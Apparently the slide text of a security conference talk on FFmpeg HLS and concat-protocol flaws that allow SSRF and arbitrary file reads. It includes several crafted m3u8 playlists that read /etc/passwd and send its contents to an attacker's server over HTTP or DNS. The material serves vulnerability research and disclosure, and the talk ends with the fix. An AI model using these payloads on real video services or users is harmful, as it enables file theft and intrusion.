Who are we?

Maxim Andreev | @cdump

Nikolay Ermishkin | @__sl1m

●

●
●
●

●

Software developer:
Cloud@Mail.RU
Bughunter, CTF player

Security Analyst: @Mail.Ru
Bug hunter, CTF player
ImageTragick creator

Agenda
●
●
●
●
●
●
●
●

Background
How FFmpeg works
HTTP Live Streaming
Exploit 1
Exploit 2 (better version)...
Exploit N
Conclusion

Background● dozens of video formats● hundreds of video/audio codecs● different bitrates, resolutions, etc...

FFmpeg

How FFmpeg works: user’s view

How FFmpeg REALLY works

Look closer to FFmpeg: extension

Look closer to FFmpeg: extension

Look closer to FFmpeg: extension

Look closer to FFmpeg: .txt

Look closer to FFmpeg: .txt

HTTP Live Streaming - HLS● live and on-demand streaming● developed by Apple● supported in FFmpeg● doc: https://developer.apple.com/streaming/

HTTP Live Streaming - HLS

HLS
720.m3u8#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://cdev.dx.su:1234/8.mp4#EXT-X-ENDLISTHTTP Live Streaming - HLS

HTTP Live Streaming - HLS

HTTP Live Streaming - HLS

SSRF: read response
example.m3u8#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://blackhat.com/about.html#EXT-X-ENDLISTSSRF: read response
example.m3u8#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://blackhat.com/about.html?.txt#EXT-X-ENDLISTTXT

FFmpeg: concat

concat - read and seek from many
resources in sequence as if they were aunique resourceheader.m3u8

FFmpeg: concat#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://dx.su?

header.m3u8

FFmpeg: concat#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://dx.su?
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLISTFFmpeg: concat
HTTP request to
http://dx.su?root:x:0:0:root:/root:/usr/bin/zsh

YUV4MPEG2
header.y4m

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
video.mp4#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:http://dx.su/header.y4m|file:///etc/passwd#EXT-X-ENDLISTYUV4MPEG2

YUV4MPEG2

thumbnail.png =>YUV4MPEG25000$
800$

5000$
800$
1000$

We need better POCs...

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLISTExploit cons

● Reads first line only
● Web server needed to reproduce

Read full file

subfile,,start,34,end,10000,,:/etc/passwd# read /etc/paswd from the second line

Read full file
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:http://example.com/header.m3u8|subfile,,start,34,end,10000,,:/etc/passwd#EXT-X-ENDLISTRead full file
subfile,,start,0...

Attacker’sserver

root:x:0… (len 33)
subfile,,start,34...

TargetDEMOCan you hack Facebook with this?

Forgotten DNS

ffmpeg.yngwie.ru
69.63.185.113 # facebook ISP
Sat Mar 19 2016 08:02:38 GMT-0400(EDT)Is it exploitable?

File enumeration#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:file:///etc/passwd|http://ffmpeg.
example.com/video.mp4#EXT-X-ENDLISTIt’s cool but we want to read files

header.m3u8#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://dx.su?
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

dns_header.m3u8#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,
http://dns_footer.m3u8.example.org

We can construct m3u8 from local file...
#EXTINF:10.0,
concat:http://example.org/dns_header.
m3u8|subfile,,start,0,end,4,,:///etc/passwd|http://example.
org/dns_footer.m3u8#EXT-X-ENDLISTWe can’t use HTTP to get our m3u8...

We can construct m3u8 from local file...
#EXTINF:10.0,concat:file:/dns_header.m3u8|subfile,,
start,0,end,4,,:///etc/passwd|file:/dns_footer.m3u8#EXT-X-ENDLISTBut target system hasn’t our m3u8 files...

Let’s build them

So we have an m3u8 inside other m3u8
crafted by chars from known files...

And surprisingly it works

root.yngwie.ru # first 4 bytes of/etc/passwd
77.37.251.68

I tried to share my new POC

Oops, I did it again

Is this enough for full service hack?

Exploitation without network support● .txt trick● Error-basedError-based

How to check my service?

ToolMy service has no video, should I careabout this vulnerability?

ImageMagickI am user, not developer.
Am I in danger?

Video files in folder

Ubuntu Linux with FFmpeg

Kali Linux with GStreamer

Results● Attack video converting services● Attack Linux users● Attack with “HACK IT! button”● FFmpeg protocol whitelist patch

Questions?

Maxim Andreev@cdumpandreevmaxim@gmail.com

Nikolay Ermishkin@__sl1m
nikolay.ermishkin@gmail.com